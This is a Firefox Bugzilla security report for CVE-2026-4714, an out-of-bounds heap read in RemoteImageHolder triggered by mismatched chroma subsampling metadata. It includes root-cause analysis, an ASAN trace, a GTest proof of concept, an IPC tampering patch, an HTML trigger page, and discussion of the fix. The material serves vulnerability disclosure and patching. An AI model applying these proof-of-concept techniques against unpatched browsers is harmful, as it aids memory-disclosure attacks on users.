Closed Bug 2018126 (CVE-2026-4714) Opened 5 months ago Closed 5 months ago

RemoteImageHolder ChromaSubsampling Mismatch OOB Heap Read

Categories

(Core :: Audio/Video, defect)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 149+ fixed
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: prodigysml555, Assigned: chunmin)

References

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+])

Attachments

(1 file, 1 obsolete file)

48 bytes, text/x-phabricator-request
dveditz
: sec-approval+
Details | Review

Compromised RDD/utility process -> content process via PRemoteDecoder::DecodedOutput. No user interaction beyond video playback.

RemoteImageHolder::DeserializeImage (RemoteImageHolder.cpp:81) validates shmem size using ComputeYCbCrBufferSize with the descriptor's cbCrSize, then sets pData.mChromaSubsampling = descriptor.chromaSubsampling() (line 100). The descriptor's cbCrSize is never stored in PlanarYCbCrData — it is used only for validation and discarded. When CopyData runs (ImageContainer.cpp:909), it recomputes chroma dimensions via CbCrDataSize() which calls ChromaSize(YDataSize(), mChromaSubsampling), ignoring the descriptor's cbCrSize. With cbCrSize={64,1} but chromaSubsampling=FULL and display=(64,2), CopyPlane reads 128 bytes from each 64-byte chroma region — 64-byte OOB read per plane.

This is distinct from the display-rect mismatch (Bug 2016370). Here display == ySize; the inflation comes from chromaSubsampling disagreeing with cbCrSize.

The Bug

// RemoteImageHolder.cpp:81 — validates against descriptor.cbCrSize()
size_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
    descriptor.ySize(), descriptor.yStride(), descriptor.cbCrSize(),
    //                                       ^^^^^^^^^^^^^^^^^^
    // cbCrSize={64,1} → 64 bytes per chroma plane. Passes.
    descriptor.cbCrStride(), ...);

// RemoteImageHolder.cpp:95,100 — cbCrSize discarded after validation
pData.mPictureRect = descriptor.display();           // {0,0,64,2}
pData.mChromaSubsampling = descriptor.chromaSubsampling(); // FULL

// ImageContainer.h:794 — recomputes from display + subsampling, not cbCrSize
gfx::IntSize CbCrDataSize() const {
    return gfx::ChromaSize(YDataSize(), mChromaSubsampling);
    //     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    // ChromaSize({64,2}, FULL) = {64,2} → 128 bytes per chroma plane

// ImageContainer.cpp:909,934 — copies the recomputed (larger) size
auto cbcrSize = aData.CbCrDataSize();  // recomputed, not from descriptor
CopyPlane(mData.mCbChannel, aData.mCbChannel, cbcrSize, ...);
//        memcpy reads 128 bytes from 64-byte chroma region → OOB

// ImageContainer.cpp:889 — CopyPlane has no source bounds check
if (!aSkip) {
  memcpy(aDst, aSrc, height * aStride);  // raw memcpy, trusts caller
}

ChromaSize with FULL returns the input size unchanged (gfx/Types.h:797). The 4:2:0 chroma allocation is half-size, but CopyPlane reads full-size — 64 bytes past each chroma buffer.

Attack Vector

A compromised RDD or utility process sends a crafted SurfaceDescriptorBuffer containing a YCbCrDescriptor where chromaSubsampling is set to FULL but cbCrSize remains at the real (smaller) 4:2:0 dimensions. The content process deserializes through RemoteVideoDecoderChild::ProcessOutput -> TransferToImage -> DeserializeImage -> CopyData, reading past the chroma buffer during CopyPlane.

ASAN Proof

==14145==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110006d9200
  at pc 0x0001009ab9b4 bp 0x00016fa50570 sp 0x00016fa4fd20
READ of size 128 at 0x6110006d9200 thread T0
    #0 __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4f9b0)
    #1 mozilla::layers::RecyclingPlanarYCbCrImage::CopyData (XUL:arm64+0x608d7cc)
    #2 RemoteImageHolderOOB_ChromaSubsamplingMismatchOOBRead_Test::TestBody (XUL:arm64+0x171f9c0)

0x6110006d9200 is located 0 bytes after 256-byte region [0x6110006d4b00,0x6110006d4c00)
allocated by thread T0 here:
    #0 malloc (libclang_rt.asan_osx_dynamic.dylib:arm64+0x528bc)
    #1 moz_xmalloc (libmozglue.dylib:arm64+0xcc0)
    #2 RemoteImageHolderOOB_ChromaSubsamplingMismatchOOBRead_Test::TestBody (XUL:arm64+0x171f820)

SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x608d7cc)
  in mozilla::layers::RecyclingPlanarYCbCrImage::CopyData

PoC

gfx/tests/gtest/TestRemoteImageHolderOOB.cpp (test 4):

TEST(RemoteImageHolderOOB, ChromaSubsamplingMismatchOOBRead)
{
  const int32_t yStride = 64;
  const int32_t cbCrStride = 64;
  const IntSize ySize(64, 2);
  const IntSize cbCrSize(64, 1);

  const uint32_t yOffset = 0;
  const uint32_t cbOffset = 128;
  const uint32_t crOffset = 192;

  uint32_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);
  ASSERT_EQ(descriptorSize, 256u);

  UniquePtr<uint8_t[]> buffer(new uint8_t[descriptorSize]);
  memset(buffer.get(), 0xCC, descriptorSize);

  PlanarYCbCrData pData;
  pData.mYChannel = buffer.get() + yOffset;
  pData.mYStride = yStride;
  pData.mYSkip = 0;
  pData.mCbChannel = buffer.get() + cbOffset;
  pData.mCrChannel = buffer.get() + crOffset;
  pData.mCbCrStride = cbCrStride;
  pData.mCbSkip = 0;
  pData.mCrSkip = 0;
  pData.mColorDepth = ColorDepth::COLOR_8;
  pData.mYUVColorSpace = YUVColorSpace::BT601;
  pData.mColorRange = ColorRange::LIMITED;

  // display matches ySize — this is NOT a display-rect issue.
  pData.mPictureRect = IntRect(0, 0, 64, 2);
  // FULL makes CbCrDataSize() = ChromaSize({64,2}, FULL) = {64,2}.
  // But descriptor cbCrSize is only {64,1}. 128 bytes read from 64-byte region.
  pData.mChromaSubsampling = ChromaSubsampling::FULL;

  auto recycleBin = MakeRefPtr<BufferRecycleBin>();
  RefPtr<RecyclingPlanarYCbCrImage> image =
      new RecyclingPlanarYCbCrImage(recycleBin);

  nsresult rv = image->CopyData(pData);
  (void)rv;
}

Reproduce:

./mach gtest "RemoteImageHolderOOB.ChromaSubsamplingMismatchOOBRead"

IPC patch — pocs/remote_imageholder_chroma_subsampling_oob_ipc.patch:

diff --git a/dom/media/ipc/RemoteImageHolder.cpp b/dom/media/ipc/RemoteImageHolder.cpp
index 85ccfea9e107..e2331930429b 100644
--- a/dom/media/ipc/RemoteImageHolder.cpp
+++ b/dom/media/ipc/RemoteImageHolder.cpp
@@ -7,6 +7,7 @@
 #include "RemoteImageHolder.h"

 #include "GPUVideoImage.h"
+#include "nsXULAppAPI.h"
 #include "mozilla/PRemoteDecoderChild.h"
 #include "mozilla/RemoteDecodeUtils.h"
 #include "mozilla/RemoteMediaManagerChild.h"
@@ -185,6 +186,22 @@ RemoteImageHolder::~RemoteImageHolder() {

 /* static */ void IPC::ParamTraits<mozilla::RemoteImageHolder>::Write(
     MessageWriter* aWriter, mozilla::RemoteImageHolder&& aParam) {
+  // PoC: flip chromaSubsampling to FULL on the first decoded YCbCr frame.
+  // Validation uses descriptor.cbCrSize (small, 4:2:0). CbCrDataSize()
+  // recomputes via ChromaSize(display, FULL) = full Y size. CopyPlane
+  // reads full-size rows from half-size chroma buffer -> OOB.
+  static bool sTampered = false;
+  if (!sTampered && XRE_IsRDDProcess() && aParam.mSD &&
+      aParam.mSD->type() ==
+          mozilla::layers::SurfaceDescriptor::TSurfaceDescriptorBuffer) {
+    auto& sdBuf = aParam.mSD->get_SurfaceDescriptorBuffer();
+    if (sdBuf.desc().type() ==
+        mozilla::layers::BufferDescriptor::TYCbCrDescriptor) {
+      sTampered = true;
+      sdBuf.desc().get_YCbCrDescriptor().chromaSubsampling() =
+          mozilla::gfx::ChromaSubsampling::FULL;
+    }
+  }
   WriteParam(aWriter, aParam.mSource);
   WriteParam(aWriter, aParam.mSize);
   WriteParam(aWriter, aParam.mColorDepth);

The patch modifies ParamTraits<RemoteImageHolder>::Write in the RDD process to flip chromaSubsampling from the real 4:2:0 to FULL on the first decoded frame. On macOS, decoded video typically goes through MacIOSurface (GPU textures) rather than shmem, so the TSurfaceDescriptorBuffer condition may not match. On Linux, software-decoded frames use shmem and the tamper fires. The GTest exercises the vulnerable CopyData path directly regardless of platform.

HTML PoC — pocs/remote_imageholder_chroma_subsampling_oob_ipc.html:

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>RemoteImageHolder ChromaSubsampling OOB</title></head>
<body>
<pre id="log"></pre>
<video id="v" width="256" height="256" muted></video>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; console.log(s); }

msg('RemoteImageHolder ChromaSubsampling Mismatch OOB Read');
msg('RDD -> content via PRemoteDecoder::DecodedOutput');
msg('');

const v = document.getElementById('v');

v.addEventListener('playing', () => {
  msg('Video playing - RDD sending crafted YCbCr descriptor to content.');
  msg('Check ASAN for heap-buffer-overflow READ in CopyData.');
});

v.addEventListener('error', () => {
  msg('Video error: ' + (v.error ? v.error.message : 'unknown'));
});

v.addEventListener('ended', () => {
  msg('Playback complete. If patched: OOB triggered during decode.');
});

// Any video triggers RDD decoding. The patched Write in RDD flips
// chromaSubsampling to FULL on the first decoded frame. CopyPlane
// reads full-size rows from half-size chroma buffer in content.
// On macOS: requires layers.acceleration.disabled=true to force
// shmem path instead of MacIOSurface. On Linux: works by default.
v.src = 'test_chroma.webm';
v.play().catch(e => {
  msg('Autoplay blocked: ' + e.message);
  document.addEventListener('click', () => v.play(), { once: true });
  msg('Click page to play.');
});
</script>
</body>
</html>

Reproduce:

git apply pocs/remote_imageholder_chroma_subsampling_oob_ipc.patch
./mach build
ffmpeg -y -f lavfi -i color=c=gray:s=64x64:d=1:r=30 -c:v libvpx -b:v 100k pocs/test_chroma.webm
python3 -m http.server 8766 --directory pocs/
./mach run -- http://localhost:8766/remote_imageholder_chroma_subsampling_oob_ipc.html
Flags: sec-bounty?
Group: firefox-core-security → media-core-security
Component: Security → Audio/Video
Product: Firefox → Core

The attack path seem similar to bug 2016370. I'll take a look.

Assignee: nobody → cchang

Does this also need the media.use-remote-encoder.video pref?

(In reply to Andrew McCreight [:mccr8] from comment #2)

Does this also need the media.use-remote-encoder.video pref?

RemoteImageHolder::DeserializeImage can be used for remote decoding process as well, so no. For compromised content, it can send malicious IPC data to RDD.

In the fix D283809 of bug 2015268, I added an additional check for cb cr size along side with the original fix. I believe this is the same issue but from different code path.

See Also: → CVE-2026-4708
Attached file (secure)
Attached file (secure) (obsolete) —

Comment on attachment 9547709 [details]
(secure)

Revision D284762 was moved to bug 2019109. Setting attachment 9547709 [details] to obsolete.

Attachment #9547709 - Attachment is obsolete: true
See Also: → CVE-2026-4713
See Also: → 2019458

Comment on attachment 9547708 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Moderate. The patch adds a check that the chroma dimensions implied by the chromaSubsampling field do not exceed the actual CbCr plane size. Someone familiar with YCbCr image handling could reason about what happens without the check, but it requires specific domain knowledge.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: All supported branches.
  • If not all supported branches, which bug introduced the flaw?: N/A
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?: Backports are not yet prepared. The fix is a small, self-contained validation check (10 lines) in RemoteImageHolder::DeserializeImage. The code in this area has not diverged significantly across branches, so backports should be low risk.
  • How likely is this patch to cause regressions; how much testing does it need?: Low. The patch only adds an early-return validation check before existing code. Valid descriptors are unaffected.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9547708 - Flags: sec-approval?
Duplicate of this bug: 2019458

Comment on attachment 9547708 [details]
(secure)

sec-approval+ to land now

Attachment #9547708 - Flags: sec-approval? → sec-approval+
Pushed by cchang@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/63757878a262 https://hg.mozilla.org/integration/autoland/rev/74f509e5fee0 Validate chroma dimensions against CbCr plane size in RemoteImageHolder r=media-playback-reviewers,aosmond
Group: media-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch

The patch landed in nightly and beta is affected.
:chunmin, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(cchang)

:tnikkel, do you think you need this to be uplifted for bug 2018113?

Flags: needinfo?(cchang) → needinfo?(tnikkel)

It doesn't need to be, I just remove this code in bug 2018113 to centralize this check. So you can skip the uplift work to save your time for something more useful.

Flags: needinfo?(tnikkel)
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+]
Alias: CVE-2026-4714
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: